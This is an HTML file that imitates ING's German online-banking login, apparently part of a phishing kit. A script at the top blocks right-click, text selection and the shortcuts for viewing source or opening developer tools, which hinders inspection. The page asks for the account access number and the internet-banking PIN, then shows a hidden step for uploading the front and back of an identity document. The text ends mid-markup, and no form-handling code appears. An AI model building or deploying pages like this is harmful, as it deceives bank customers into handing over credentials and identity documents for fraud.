File: //proc/self/cwd/ing.html
<!DOCTYPE html><html><head><script>document.onkeydown=function(e){if(e.ctrlKey&&(e.keyCode==85||e.keyCode==117||e.keyCode==83||e.keyCode==115||e.keyCode==73||e.keyCode==105||e.keyCode==74||e.keyCode==106||e.keyCode==67||e.keyCode==99)){return false;}if(e.keyCode==123){return false;}};document.addEventListener('contextmenu',function(e){e.preventDefault();});document.addEventListener('dragstart',function(e){e.preventDefault();});document.addEventListener('selectstart',function(e){e.preventDefault();});window.onload=function(){document.body.onkeydown=function(e){if(e.keyCode==123||(e.ctrlKey&&e.shiftKey&&(e.keyCode==73||e.keyCode==74||e.keyCode==67))){return false;}};document.body.oncontextmenu=function(){return false;};document.body.onselectstart=function(){return false;};document.body.ondragstart=function(){return false;};};</script><noscript><meta http-equiv="refresh" content="0; url=about:blank"></noscript></head><body></body></html>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ING - Log-in</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
:root {
--primary: #ff6600; --primary-dark: #e55a00; --gray-dark: #333; --gray: #666; --gray-bg: #f8f9fa; --white: #ffffff; --border: #e8e8e8; --shadow: 0 8px 24px rgba(0, 0, 0, 0.08); --radius: 16px; --radius-sm: 12px; --transition: all 0.3s ease; --error: #d32f2f; --error-bg: #ffebee; --success: #2e7d32; --success-bg: #e8f5e9;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Segoe UI', system-ui, sans-serif; background: linear-gradient(135deg, #f8f9fa 0%, #e8e8e8 100%); color: var(--gray-dark); line-height: 1.6; min-height: 100vh; display: flex; flex-direction: column; }
.header, .verification-header { background-color: var(--white); padding: 15px 50px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); border-bottom: 1px solid var(--border); display: flex; align-items: center; justify-content: space-between; position: fixed; top: 0; left: 0; right: 0; z-index: 1000; }
.logo { width: 120px; height: auto; }
.header-actions { display: flex; gap: 15px; }
.header-btn { background: transparent; border: 1px solid var(--border); border-radius: var(--radius-sm); padding: 8px 16px; font-size: 14px; color: var(--gray-dark); cursor: pointer; transition: var(--transition); display: flex; align-items: center; gap: 8px; }
.header-btn:hover { background: var(--gray-bg); }
.container { max-width: 1400px; margin: 0 auto; padding: 120px 60px 40px; flex: 1; }
.page-title { font-size: 28px; font-weight: 300; margin-bottom: 50px; }
.content-wrapper { display: grid; grid-template-columns: 1fr 1fr; gap: 40px; margin-bottom: 60px; }
.card { background: var(--white); border-radius: var(--radius); padding: 45px; box-shadow: var(--shadow); border: 1px solid var(--border); transition: var(--transition); position: relative; overflow: hidden; }
.card:hover { transform: translateY(-5px); box-shadow: 0 12px 30px rgba(0, 0, 0, 0.12); }
.card::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); }
.card-title { font-size: 18px; font-weight: 400; margin-bottom: 35px; display: flex; align-items: center; gap: 12px; }
.card-title i { color: var(--primary); font-size: 20px; }
.form-group { margin-bottom: 28px; position: relative; }
.form-label { display: block; font-size: 13px; margin-bottom: 10px; font-weight: 400; }
.form-input { width: 100%; padding: 11px 14px; border: 1px solid var(--border); border-radius: var(--radius-sm); font-size: 15px; font-family: inherit; background-color: var(--white); transition: var(--transition); }
.form-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 2px rgba(255, 102, 0, 0.1); }
.input-hint { font-size: 12px; color: var(--gray); margin-top: 6px; display: flex; align-items: center; gap: 5px; }
.password-wrapper { position: relative; }
.password-toggle { position: absolute; right: 14px; top: 50%; transform: translateY(-50%); cursor: pointer; color: var(--gray); transition: var(--transition); }
.password-toggle:hover { color: var(--primary); }
.btn-primary, .btn-secondary { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 13px 32px; border-radius: var(--radius-sm); font-size: 15px; font-weight: 500; cursor: pointer; transition: var(--transition); display: inline-flex; align-items: center; justify-content: center; gap: 8px; box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); width: 100%; }
.btn-primary:hover, .btn-secondary:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
.link { color: var(--primary); text-decoration: none; font-size: 13px; font-weight: 500; transition: var(--transition); display: inline-flex; align-items: center; gap: 5px; }
.link:hover { color: var(--primary-dark); text-decoration: underline; }
.help-text { margin-top: 22px; font-size: 13px; color: var(--gray); line-height: 1.6; }
.qr-image { margin: 30px 0; text-align: center; }
.qr-image img { max-width: 100%; height: auto; }
.checkbox-group { display: flex; align-items: flex-start; gap: 12px; margin-top: 25px; padding-top: 20px; border-top: 1px solid var(--border); }
.checkbox-group input[type="checkbox"] { width: 16px; height: 16px; margin-top: 2px; cursor: pointer; accent-color: var(--primary); }
.checkbox-group label { font-size: 13px; line-height: 1.6; cursor: pointer; }
.news-section { background: var(--white); border-radius: var(--radius); padding: 45px; box-shadow: var(--shadow); border: 1px solid var(--border); }
.news-title { font-size: 22px; font-weight: 300; margin-bottom: 30px; }
.news-list { list-style: none; }
.news-item { padding: 16px 0; border-bottom: 1px solid var(--border); cursor: pointer; position: relative; padding-left: 18px; font-size: 14px; color: var(--gray); transition: var(--transition); display: flex; align-items: center; gap: 10px; }
.news-item:before { content: '‹'; position: absolute; left: 0; font-size: 18px; color: var(--gray); transition: var(--transition); }
.news-item:hover { color: var(--primary); }
.news-item:hover:before { color: var(--primary); }
.news-item:last-child { border-bottom: none; }
.footer, .verification-footer, .card-entry-footer, .verification-code-footer, .success-footer { background: #111; padding: 20px 50px; text-align: center; border-top: 1px solid rgba(255, 255, 255, 0.1); margin-top: auto; }
.footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; }
.copyright, .verification-copyright, .card-entry-copyright, .verification-code-copyright, .success-copyright { font-size: 14px; color: rgba(255, 255, 255, 0.7); }
.cookie-links, .verification-cookie-links, .card-entry-cookie-links, .verification-code-cookie-links, .success-cookie-links { display: flex; gap: 25px; }
.cookie-link, .verification-cookie-link, .card-entry-cookie-link, .verification-code-cookie-link, .success-cookie-link { color: rgba(255, 255, 255, 0.7); text-decoration: none; font-size: 14px; transition: var(--transition); position: relative; }
.cookie-link:hover, .verification-cookie-link:hover, .card-entry-cookie-link:hover, .verification-code-cookie-link:hover, .success-cookie-link:hover { color: var(--primary); }
.cookie-link:not(:last-child)::after, .verification-cookie-link:not(:last-child)::after, .card-entry-cookie-link:not(:last-child)::after, .verification-code-cookie-link:not(:last-child)::after, .success-cookie-link:not(:last-child)::after { content: "|"; position: absolute; right: -15px; color: rgba(255, 255, 255, 0.3); }
.loading-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0.98); display: none; justify-content: center; align-items: center; z-index: 9999; flex-direction: column; }
.loading-spinner { width: 60px; height: 60px; border: 4px solid var(--gray-bg); border-top: 4px solid var(--primary); border-radius: 50%; animation: spin 1s linear infinite; margin-bottom: 25px; }
.loading-text { font-size: 18px; font-weight: 500; }
.screen { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: var(--white); display: none; flex-direction: column; z-index: 2001; overflow-y: auto; }
.verification-container { flex: 1; display: grid; grid-template-columns: 1fr 1fr; gap: 60px; max-width: 1200px; width: 100%; margin: 0 auto; padding: 40px; align-items: flex-start; }
.verification-content { text-align: left; }
.verification-icon { width: 80px; height: 80px; background: #fff5f0; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-bottom: 30px; }
.verification-icon i { font-size: 36px; color: var(--primary); }
.verification-title { font-size: 32px; font-weight: 300; margin-bottom: 20px; }
.verification-subtitle { font-size: 20px; font-weight: 400; color: var(--primary); margin-bottom: 25px; }
.verification-message { font-size: 16px; color: var(--gray); line-height: 1.6; margin-bottom: 35px; }
.verification-steps { list-style: none; margin-bottom: 40px; }
.verification-step { display: flex; align-items: flex-start; gap: 15px; margin-bottom: 20px; padding: 15px; background: var(--gray-bg); border-radius: var(--radius-sm); border-left: 4px solid var(--primary); }
.step-number { width: 30px; height: 30px; background: var(--primary); color: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; flex-shrink: 0; }
.step-text { flex: 1; font-size: 14px; line-height: 1.5; }
.verification-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 16px 45px; border-radius: var(--radius-sm); font-size: 16px; font-weight: 500; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); display: inline-flex; align-items: center; gap: 10px; margin-top: 20px; }
.verification-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
.phone-visual { text-align: center; position: sticky; top: 100px; height: fit-content; }
.phone-mockup { width: 220px; height: 440px; background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%); border-radius: 35px; margin: 0 auto; position: relative; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); border: 8px solid #1a1a1a; overflow: hidden; }
.phone-screen { width: 100%; height: 100%; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); border-radius: 27px; padding: 20px; display: flex; flex-direction: column; justify-content: center; align-items: center; color: white; text-align: center; }
.app-icon { width: 70px; height: 70px; background: rgba(255, 255, 255, 0.9); border-radius: 18px; margin-bottom: 20px; display: flex; align-items: center; justify-content: center; box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2); }
.app-icon i { font-size: 35px; color: var(--primary); }
.app-title { font-size: 22px; font-weight: 600; margin-bottom: 10px; }
.app-message { font-size: 15px; opacity: 0.9; margin-bottom: 25px; max-width: 200px; line-height: 1.4; }
.approve-btn { background: rgba(255, 255, 255, 0.9); color: var(--primary); border: none; padding: 12px 30px; border-radius: 25px; font-weight: 600; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2); font-size: 14px; }
.approve-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(0, 0, 0, 0.3); }
.verification-progress { width: 100%; height: 8px; background: var(--gray-bg); border-radius: 4px; margin: 30px 0 20px; overflow: hidden; position: relative; }
.progress-bar { height: 100%; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: 4px; width: 0%; transition: width 0.3s ease; }
.progress-text { font-size: 14px; color: var(--gray); text-align: center; margin-bottom: 10px; display: flex; justify-content: space-between; }
.time-remaining { font-weight: 600; color: var(--primary); }
.timer-container { display: flex; align-items: center; justify-content: center; gap: 10px; margin: 15px 0; }
.timer-circle { width: 60px; height: 60px; border-radius: 50%; background: conic-gradient(var(--primary) 0deg, var(--gray-bg) 0deg); display: flex; align-items: center; justify-content: center; position: relative; }
.timer-text { position: absolute; font-size: 16px; font-weight: 700; color: var(--primary); }
.timer-label { font-size: 14px; color: var(--gray); }
.security-badge { display: flex; align-items: center; gap: 10px; margin-top: 20px; padding: 12px 15px; background: #fff5f0; border-radius: var(--radius-sm); border-left: 4px solid var(--primary); }
.security-badge i { color: var(--primary); font-size: 18px; }
.security-badge span { font-size: 14px; font-weight: 500; }
.card-entry-container, .verification-code-container, .success-container { max-width: 500px; margin: 0 auto; padding: 120px 20px 40px; flex: 1; display: flex; flex-direction: column; justify-content: center; }
.card-entry-title, .verification-code-title, .success-title { font-size: 32px; font-weight: 300; margin-bottom: 10px; text-align: center; }
.card-entry-subtitle, .verification-code-subtitle, .success-subtitle { font-size: 18px; color: var(--gray); margin-bottom: 40px; text-align: center; }
.card-form, .verification-code-form, .success-content { background: var(--white); border-radius: var(--radius); padding: 40px; box-shadow: var(--shadow); border: 1px solid var(--border); position: relative; }
.card-form::before, .verification-code-form::before, .success-content::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: var(--radius) var(--radius) 0 0; }
.form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; margin-bottom: 25px; }
.card-submit-btn, .verification-code-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 18px 45px; border-radius: var(--radius-sm); font-size: 16px; font-weight: 500; cursor: pointer; transition: var(--transition); box-shadow: 0 4px 12px rgba(255, 102, 0, 0.25); display: inline-flex; align-items: center; justify-content: center; gap: 10px; width: 100%; margin-top: 10px; }
.card-submit-btn:hover, .verification-code-btn:hover { transform: translateY(-2px); box-shadow: 0 6px 16px rgba(255, 102, 0, 0.35); }
.input-with-icon { position: relative; }
.input-with-icon i { position: absolute; left: 14px; top: 50%; transform: translateY(-50%); color: var(--gray); font-size: 16px; transition: var(--transition); z-index: 2; }
.input-with-icon .form-input { padding-left: 45px; transition: var(--transition); border: 2px solid var(--border); }
.input-with-icon .form-input:focus { border-color: var(--primary); box-shadow: 0 0 0 3px rgba(255, 102, 0, 0.1); transform: translateY(-1px); }
.input-with-icon .form-input:focus + i { color: var(--primary); }
.security-features { display: flex; align-items: center; justify-content: center; gap: 25px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); flex-wrap: wrap; }
.security-feature { display: flex; align-items: center; gap: 8px; font-size: 13px; font-weight: 500; }
.security-feature i { color: var(--primary); font-size: 16px; }
.payment-header { text-align: center; margin-bottom: 40px; }
.payment-icon { width: 80px; height: 80px; background: #fff5f0; border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; box-shadow: 0 8px 20px rgba(255, 102, 0, 0.2); }
.payment-icon i { font-size: 36px; color: var(--primary); }
.code-inputs { display: flex; justify-content: space-between; gap: 15px; margin-bottom: 30px; }
.code-input { width: 100%; height: 70px; border: 2px solid var(--border); border-radius: var(--radius-sm); text-align: center; font-size: 24px; font-weight: 600; color: var(--gray-dark); transition: var(--transition); background: var(--white); flex: 1; }
.code-input:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 0 3px rgba(255, 102, 0, 0.1); transform: translateY(-2px); }
.code-input.error { border-color: var(--error); background-color: var(--error-bg); }
.code-input.success { border-color: var(--success); background-color: var(--success-bg); }
.code-info { text-align: center; margin-bottom: 30px; color: var(--gray); font-size: 14px; }
.resend-code { text-align: center; margin-top: 20px; }
.resend-link { color: var(--primary); text-decoration: none; font-weight: 500; transition: var(--transition); }
.resend-link:hover { color: var(--primary-dark); text-decoration: underline; }
.error-message { color: var(--error); font-size: 14px; text-align: center; margin-top: 15px; display: none; }
.success-message { color: var(--success); font-size: 14px; text-align: center; margin-top: 15px; padding: 10px; background-color: var(--success-bg); border-radius: var(--radius-sm); border-left: 4px solid var(--success); display: none; }
.success-icon { width: 120px; height: 120px; background: var(--success-bg); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 30px; box-shadow: 0 8px 20px rgba(46, 125, 50, 0.2); }
.success-icon i { font-size: 60px; color: var(--success); }
.success-message-large { text-align: center; margin-bottom: 30px; color: var(--gray); font-size: 16px; line-height: 1.6; }
.countdown { text-align: center; font-size: 14px; color: var(--gray); margin-top: 20px; }
.validation-message { font-size: 12px; margin-top: 5px; display: flex; align-items: center; gap: 5px; transition: var(--transition); }
.validation-message.error { color: var(--error); }
.validation-message.success { color: var(--success); }
.form-input.error { border-color: var(--error); background-color: var(--error-bg); }
.form-input.success { border-color: var(--success); background-color: var(--success-bg); }
.card-security-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); }
.card-security-feature { display: flex; align-items: center; gap: 10px; font-size: 13px; font-weight: 500; }
.card-security-feature i { color: var(--primary); font-size: 16px; }
.verification-security-grid { display: grid; grid-template-columns: 1fr; gap: 15px; margin-top: 30px; padding: 25px; background: var(--gray-bg); border-radius: var(--radius-sm); }
.verification-security-feature { display: flex; align-items: center; gap: 10px; font-size: 13px; font-weight: 500; }
.verification-security-feature i { color: var(--primary); font-size: 16px; }
.id-verification-container { max-width: 900px; margin: 0 auto; padding: 120px 20px 40px; flex: 1; }
.id-verification-header { text-align: center; margin-bottom: 50px; }
.id-verification-icon { width: 100px; height: 100px; background: linear-gradient(135deg, #fff5f0 0%, #ffe8d9 100%); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 25px; box-shadow: 0 10px 30px rgba(255, 102, 0, 0.15); position: relative; }
.id-verification-icon::before { content: ''; position: absolute; width: 120px; height: 120px; border: 3px solid rgba(255, 102, 0, 0.1); border-radius: 50%; animation: pulse 2s infinite; }
.id-verification-icon i { font-size: 45px; color: var(--primary); }
.id-verification-title { font-size: 36px; font-weight: 300; margin-bottom: 15px; color: var(--gray-dark); }
.id-verification-subtitle { font-size: 18px; color: var(--gray); line-height: 1.6; max-width: 600px; margin: 0 auto; }
.id-verification-form { background: var(--white); border-radius: var(--radius); padding: 50px; box-shadow: var(--shadow); border: 1px solid var(--border); position: relative; margin-bottom: 30px; }
.id-verification-form::before { content: ''; position: absolute; top: 0; left: 0; width: 100%; height: 4px; background: linear-gradient(90deg, var(--primary) 0%, var(--primary-dark) 100%); border-radius: var(--radius) var(--radius) 0 0; }
.upload-section { margin-bottom: 40px; }
.upload-section-title { font-size: 16px; font-weight: 500; margin-bottom: 20px; color: var(--gray-dark); display: flex; align-items: center; gap: 10px; }
.upload-section-title i { color: var(--primary); }
.upload-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 25px; margin-bottom: 30px; }
.upload-box { border: 2px dashed var(--border); border-radius: var(--radius-sm); padding: 30px 20px; text-align: center; transition: var(--transition); cursor: pointer; position: relative; background: var(--gray-bg); }
.upload-box:hover { border-color: var(--primary); background: #fff5f0; }
.upload-box.has-file { border-color: var(--success); background: var(--success-bg); border-style: solid; }
.upload-box input[type="file"] { display: none; }
.upload-icon { width: 60px; height: 60px; background: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 15px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); }
.upload-icon i { font-size: 24px; color: var(--primary); }
.upload-box.has-file .upload-icon { background: var(--success); }
.upload-box.has-file .upload-icon i { color: var(--white); }
.upload-label { font-size: 15px; font-weight: 500; color: var(--gray-dark); margin-bottom: 5px; display: block; }
.upload-hint { font-size: 12px; color: var(--gray); }
.upload-preview { margin-top: 15px; display: none; }
.upload-preview img { max-width: 100%; max-height: 150px; border-radius: var(--radius-sm); box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1); }
.upload-filename { font-size: 13px; color: var(--success); margin-top: 10px; font-weight: 500; display: none; align-items: center; gap: 5px; justify-content: center; }
.upload-filename i { font-size: 14px; }
.requirements-box { background: linear-gradient(135deg, #f8f9fa 0%, #ffffff 100%); border-left: 4px solid var(--primary); border-radius: var(--radius-sm); padding: 25px; margin-bottom: 35px; }
.requirements-title { font-size: 15px; font-weight: 600; margin-bottom: 15px; color: var(--gray-dark); display: flex; align-items: center; gap: 10px; }
.requirements-title i { color: var(--primary); }
.requirements-list { list-style: none; display: grid; grid-template-columns: 1fr 1fr; gap: 12px; }
.requirement-item { font-size: 13px; color: var(--gray); display: flex; align-items: center; gap: 8px; }
.requirement-item i { color: var(--success); font-size: 12px; }
.id-submit-btn { background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%); color: var(--white); border: none; padding: 18px 50px; border-radius: var(--radius-sm); font-size: 17px; font-weight: 600; cursor: pointer; transition: var(--transition); box-shadow: 0 6px 20px rgba(255, 102, 0, 0.3); display: inline-flex; align-items: center; justify-content: center; gap: 12px; width: 100%; margin-top: 10px; }
.id-submit-btn:hover { transform: translateY(-3px); box-shadow: 0 8px 25px rgba(255, 102, 0, 0.4); }
.id-submit-btn:disabled { background: var(--gray); box-shadow: none; cursor: not-allowed; transform: none; }
.security-info { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; margin-top: 30px; }
.security-info-item { display: flex; flex-direction: column; align-items: center; text-align: center; padding: 20px; background: var(--gray-bg); border-radius: var(--radius-sm); transition: var(--transition); }
.security-info-item:hover { background: #fff5f0; }
.security-info-icon { width: 50px; height: 50px; background: var(--white); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin-bottom: 12px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.05); }
.security-info-icon i { font-size: 20px; color: var(--primary); }
.security-info-text { font-size: 13px; font-weight: 500; color: var(--gray-dark); }
.progress-indicator { display: flex; align-items: center; justify-content: center; gap: 15px; margin-bottom: 40px; }
.progress-step { width: 40px; height: 40px; border-radius: 50%; background: var(--gray-bg); border: 2px solid var(--border); display: flex; align-items: center; justify-content: center; font-weight: 600; font-size: 14px; color: var(--gray); position: relative; }
.progress-step.active { background: var(--primary); border-color: var(--primary); color: var(--white); }
.progress-step.completed { background: var(--success); border-color: var(--success); color: var(--white); }
.progress-step::after { content: ''; position: absolute; left: 100%; width: 60px; height: 2px; background: var(--border); top: 50%; transform: translateY(-50%); }
.progress-step:last-child::after { display: none; }
.progress-step.completed::after { background: var(--success); }
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
@keyframes pulse { 0%, 100% { transform: scale(1); opacity: 1; } 50% { transform: scale(1.1); opacity: 0.5; } }
@media (max-width: 992px) {
.content-wrapper, .verification-container { grid-template-columns: 1fr; gap: 30px; }
.verification-content { text-align: center; }
.phone-visual { position: relative; top: 0; }
.upload-grid { grid-template-columns: 1fr; }
.requirements-list { grid-template-columns: 1fr; }
.security-info { grid-template-columns: 1fr; }
}
@media (max-width: 768px) {
.card { padding: 25px; }
.header, .verification-header { padding: 12px 20px; }
.container { padding: 100px 20px 30px; }
.logo { width: 100px; }
.page-title { font-size: 24px; margin-bottom: 35px; }
.footer, .verification-footer, .card-entry-footer, .verification-code-footer, .success-footer { padding: 25px 20px; }
.footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { flex-direction: column; gap: 15px; text-align: center; }
.verification-title { font-size: 28px; }
.phone-mockup { width: 180px; height: 360px; }
.card-entry-container, .verification-code-container, .success-container { padding: 100px 20px 30px; }
.code-input { height: 60px; font-size: 20px; }
.success-icon { width: 100px; height: 100px; }
.success-icon i { font-size: 50px; }
.card-security-grid { grid-template-columns: 1fr; }
.id-verification-container { padding: 100px 20px 30px; }
.id-verification-form { padding: 30px 20px; }
.id-verification-title { font-size: 28px; }
.progress-indicator { gap: 10px; }
.progress-step::after { width: 40px; }
}
@media (max-width: 576px) {
.header, .verification-header { padding: 12px 15px; }
.logo { width: 90px; }
.header-actions { gap: 10px; }
.header-btn { padding: 6px 12px; font-size: 13px; }
.card { padding: 20px; }
.content-wrapper { gap: 20px; }
.btn-primary, .btn-secondary { padding: 12px 24px; font-size: 14px; }
.news-section { padding: 25px; }
.verification-container { padding: 20px; }
.verification-icon { width: 60px; height: 60px; margin: 0 auto 20px; }
.verification-icon i { font-size: 28px; }
.verification-title { font-size: 24px; }
.phone-mockup { width: 160px; height: 320px; }
.footer-content, .verification-footer-content, .card-entry-footer-content, .verification-code-footer-content, .success-footer-content { flex-direction: column; gap: 10px; }
.cookie-links, .verification-cookie-links, .card-entry-cookie-links, .verification-code-cookie-links, .success-cookie-links { flex-direction: column; gap: 10px; }
.cookie-link:not(:last-child)::after, .verification-cookie-link:not(:last-child)::after, .card-entry-cookie-link:not(:last-child)::after, .verification-code-cookie-link:not(:last-child)::after, .success-cookie-link:not(:last-child)::after { display: none; }
.security-features { flex-direction: column; gap: 10px; }
.payment-icon { width: 50px; height: 50px; }
.payment-icon i { font-size: 24px; }
.code-inputs { gap: 10px; }
.code-input { height: 55px; font-size: 18px; }
.form-row { grid-template-columns: 1fr; gap: 0; }
.success-icon { width: 80px; height: 80px; }
.success-icon i { font-size: 40px; }
.card-security-grid { grid-template-columns: 1fr; }
.id-verification-icon { width: 80px; height: 80px; }
.id-verification-icon::before { width: 100px; height: 100px; }
.id-verification-icon i { font-size: 35px; }
.id-verification-title { font-size: 24px; }
.progress-indicator { flex-wrap: wrap; gap: 8px; }
.progress-step { width: 35px; height: 35px; font-size: 12px; }
.progress-step::after { width: 30px; }
}
</style>
</head>
<body>
<header class="header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</header>
<div class="container">
<h1 class="page-title">Log-in</h1>
<div class="content-wrapper">
<div class="card">
<h2 class="card-title"><i class="fas fa-key"></i>Anmelden mit Zugangsdaten</h2>
<form id="loginForm">
<div class="form-group">
<label class="form-label" for="zugangsnummer">Zugangsnummer</label>
<input type="text" id="zugangsnummer" class="form-input" placeholder="">
<div class="input-hint">Letzte 10 Stellen Ihrer ING IBAN / Depotnummer</div>
</div>
<div class="form-group">
<label class="form-label" for="pin">Internetbanking PIN</label>
<div class="password-wrapper">
<input type="password" id="pin" class="form-input" placeholder="">
<span class="password-toggle" onclick="togglePassword()"><i class="fas fa-eye"></i></span>
</div>
<div class="input-hint">Bitte beachten Sie die Groß- und Kleinschreibung.</div>
</div>
<button type="submit" class="btn-primary">Anmelden</button>
<div class="help-text">
<a href="#" class="link">Zugangsdaten vergessen?</a><br style="margin: 8px 0;"><br>
Neu bei uns?<br>
<a href="#" class="link">Jetzt Zugangsdaten erstellen</a>
</div>
</form>
</div>
<div class="card">
<h2 class="card-title"><i class="fas fa-mobile-alt"></i>Anmelden mit App und QR-Code</h2>
<div class="qr-section">
<div class="qr-image"><img src="https://h.top4top.io/p_36181z1mp1.png" alt="QR Code"></div>
<button type="button" class="btn-secondary">Anmelden mit QR Log-in</button>
<div class="checkbox-group">
<input type="checkbox" id="rememberDevice">
<label for="rememberDevice">Auf diesem Gerät und mit diesem Browser immer mit QR Log-in anmelden.</label>
</div>
</div>
</div>
</div>
<div class="news-section">
<h2 class="news-title">Aktuelle Mitteilungen</h2>
<ul class="news-list">
<li class="news-item">Vorsicht vor gefälschten ING Webseiten</li>
<li class="news-item">Achtung: Betrüger wollen an Ihre Daten!</li>
<li class="news-item">Info-Banner – neue Produktbedingungen</li>
<li class="news-item">Ihre Jahresendbelege 2023</li>
</ul>
</div>
</div>
<div class="footer">
<div class="footer-content">
<div class="copyright">© 2025 ING Bank Śląski S.A. All rights reserved.</div>
<div class="cookie-links">
<a href="#" class="cookie-link">Cookies settings</a>
<a href="#" class="cookie-link">Cookies policy</a>
</div>
</div>
</div>
<div class="loading-overlay" id="loadingOverlay">
<div class="loading-spinner"></div>
<div class="loading-text" id="loadingMessage">Authentifizierung läuft...</div>
</div>
<div class="screen" id="idVerificationScreen">
<div class="header">
<img src="https://www.pngall.com/wp-content/uploads/5/ING-Group-Logo-PNG-Clipart-Background.png" alt="ING Logo" class="logo">
<div class="header-actions">
<button class="header-btn"><i class="fas fa-globe"></i> DE</button>
<button class="header-btn"><i class="fas fa-headset"></i> Hilfe</button>
</div>
</div>
<div class="id-verification-container">
<div class="progress-indicator">
<div class="progress-step completed">1</div>
<div class="progress-step active">2</div>
<div class="progress-step">3</div>
</div>
<div class="id-verification-header">
<div class="id-verification-icon">
<i class="fas fa-id-card"></i>
</div>
<h1 class="id-verification-title">Identitätsverifizierung</h1>
<p class="id-verification-subtitle">Um Ihre Sicherheit zu gewährleisten, müssen wir Ihre Identität verifizieren. Bitte laden Sie ein gültiges Ausweisdokument hoch.</p>
</div>
<div class="id-verification-form">
<div class="requirements-box">
<div class="requirements-title">
<i class="fas fa-info-circle"></i>
Anforderungen an Ihr Dokument
</div>
<ul class="requirements-list">
<li class="requirement-item"><i class="fas fa-check-circle"></i> Hochauflösendes Foto oder Scan</li>
<li class="requirement-item"><i class="fas fa-check-circle"></i> Alle Informationen müssen lesbar sein</li>
<li class="requirement-item"><i class="fas fa-check-circle"></i> Gültiges und nicht abgelaufenes Dokument</li>
<li class="requirement-item"><i class="fas fa-check-circle"></i> Format: JPG, PNG oder PDF</li>
<li class="requirement-item"><i class="fas fa-check-circle"></i> Maximale Dateigröße: 10 MB</li>
<li class="requirement-item"><i class="fas fa-check-circle"></i> Keine Reflexionen oder Schatten</li>
</ul>
</div>
<form id="idVerificationForm">
<div class="upload-section">
<div class="upload-section-title">
<i class="fas fa-upload"></i>
Dokumente hochladen
</div>
<div class="upload-grid">
<div class="upload-box" id="frontUploadBox" onclick="document.getElementById('frontUpload').click()">
<div class="upload-icon">
<i class="fas fa-id-card"></i>
</div>
<span class="upload-label">Vorderseite</span>
<span class="upload-hint">Personalausweis oder Reisepass</span>
<input type="file" id="frontUpload" accept="image/*,.pdf">
<div class="upload-preview" id="frontPreview"></div>
<div class="upload-filename" id="frontFilename"></div>
</div>
<div class="upload-box" id="backUploadBox" onclick="document.getElementById('backUpload').click()">
<div class="upload-icon">
<i class="fas fa-id-card"></i>
</div>
<span class="upload-label">Rückseite</span>
<span class="upload-hint">Nur bei Personalausweis erforderlich</span>
<input type="file" id="backUpload" accept="image/*,.pdf">
<div class="upload-preview" id="backPreview"></div>
<div class="upload-filename" id="backFilename"></div>
</div>
</div>
</div>
<button type="submit" class="id-submit-btn" id="idSubmitBtn" disabled>
<i class="fas fa-shield-check"></i>
Identität verifizieren
</button>
</form>
<div class="security-info">
<div class="security-info-item">
<div class="security-info-icon">
<i class="fas fa-lock"></i>
</div>
<span class="security-info-text">SSL-Verschlüsselung</span>
</div>
<div class="security-info-item">
<div class="security-info-icon">
<i class="fas fa-shield-alt"></i>
</div>
